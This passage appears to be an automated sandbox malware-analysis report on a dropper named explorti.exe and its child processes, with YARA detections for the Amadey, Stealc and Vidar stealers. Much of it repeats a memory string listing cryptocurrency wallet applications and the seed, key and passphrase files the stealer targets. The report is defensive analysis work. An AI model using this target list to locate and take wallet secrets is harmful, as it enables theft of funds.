Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe "C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe "C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe "C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Code function: 7_2_6CB04760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

7_2_6CB04760

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Code function: 7_2_6C9E1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

7_2_6C9E1C30

Source: 8eb30d7f71.exe, 00000009.00000002.2880216454.00000000005D2000.00000002.00000001.01000000.0000000B.sdmp, 8eb30d7f71.exe.6.dr, random[1].exe0.6.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: eb98fe5174.exe, eb98fe5174.exe, 00000007.00000002.2620268585.0000000000A2C000.00000040.00000001.01000000.00000009.sdmp, 53c7d901f1.exe, 00000008.00000002.2648279906.000000000085C000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: \Program Manager
Source: explorti.exe, explorti.exe, 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: "Program Manager

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_00B0D312 cpuid

6_2_00B0D312

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_00B0CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00B0CB1A

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_00AF65B0 LookupAccountNameA,

6_2_00AF65B0

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Code function: 7_2_6CA08390 NSS_GetVersion,

7_2_6CA08390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.explorti.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.explorti.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.explorti.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1731310939.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1724434181.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1644028798.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1725167725.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2316417057.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1765635278.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1764804694.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: eb98fe5174.exe PID: 7864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 53c7d901f1.exe PID: 7996, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: eb98fe5174.exe PID: 7864, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1731373345.0000000000CE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ^jaxxy
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2619375968.00000000006CA000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
